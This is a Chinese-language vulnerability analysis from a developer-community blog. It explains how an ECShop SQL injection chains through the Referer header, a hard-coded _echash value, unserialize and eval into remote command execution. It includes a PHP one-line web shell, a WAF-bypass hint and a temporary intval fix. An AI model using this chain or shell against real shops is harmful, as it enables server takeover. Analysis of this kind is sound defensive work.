前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ecshop全系列SQL注入漏洞分析

ecshop全系列SQL注入漏洞分析

原创
作者头像
第59号实验室
发布2023-05-04 10:32:48
2.3K0
发布2023-05-04 10:32:48
举报
文章被收录于专栏:企业安全

ecshop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。最新版本为3.6.0。而最近ecshop爆出存在SQL注入漏洞,且能影响至所有系列。本文就对该SQL注入漏洞的成因做简单的分析

漏洞原理

本次漏洞主要是由于user.php文件login响应存在漏洞,其内部的display的参数可被攻击者控制,从而导致SQL注入漏洞,利用该漏洞可实现远程任意命令执行。

漏洞利用

漏洞分析

login响应,将http_referer的值赋予$back_act,referer参数可被攻击者控制

assign函数将$back_act变量值赋给back_act smarty是模板引擎,将back_act的值赋给模板文件user_passport.dwt display读取user_passport.dwt文件内容,过滤后输出结果

display函数经 fetch -> make_compiled -> file_get_contents -> fetch_str ->smarty_prefilter_preCompile ->select 取出html中值$out,其中包含referer的内容 $out通过_echash变量切割,而_echash是代码里写死的

此时referer的payload被切割成$val

insert_mod函数处理动态内容$val

以|划分$val

$para经unserialize反序列化得

$fun($para)动态调用insert_ads函数,即insert_ads($para) insert_ads存在SQL注入漏洞,继续跟踪insert_ads,该函数直接将id,num的值拼接到SQL中导致注入漏洞 其中id=”‘/*“ 拼接a.posttion_id的单引号,/*与num配合注释掉order by

num中的*/与id/*配合注释order by ,union联合查询在数据库中解析得

position_style经拼接重新到fetch

fetch -> fetch_str 将匹配到的字符传输至select函数处理 此时

跟踪position_style至select函数

select -> get_val –> make_var

最终匹配得

此时select中得

并返回至fetch_str,供_eval调用,造成任意命令执行,本命令是通过base64解码写一句话木马

针对3.x版本,ecshop添加了waf,过滤了union select,可以将这两个词放在id,num的值里绕过waf,同时修改_echash的值

漏洞演示

在虚拟机里安装ecshop2.7.3版本 执行以上脚本,即可写入一句话木马<?php eval($_POST[1337]); ?> 至1.php 通过菜刀连接,拿到web服务器权限

漏洞利用总结

  1. referer值未加判断直接引用,可被攻击者控制输入
  2. 利用_echash = “554fcae493e564ee0dc75bdf2ebf94ca” 为定值进行切分,构造payload
  3. 利用反序列化漏洞,构造payload,传输恶意代码
  4. insert_ads函数的SQL拼接不规范导致存在SQL注入
  5. make_val函数拼接字符串输入,_eval中调用用户输入通过eval最终导致任意命令执行

临时性方案

由于ecshop官方还未进行修复,可通过对insert_ads的num;id参数进行intval处理

参考链接

https://xz.aliyun.com/t/2689 https://blog.csdn.net/u012078682/article/details/37737015 http://ringk3y.com/2018/08/31/ecshop2-x%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞原理
  • 漏洞利用
  • 漏洞分析
  • 漏洞演示
  • 漏洞利用总结
  • 临时性方案
  • 参考链接
相关产品与服务
云服务器
云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档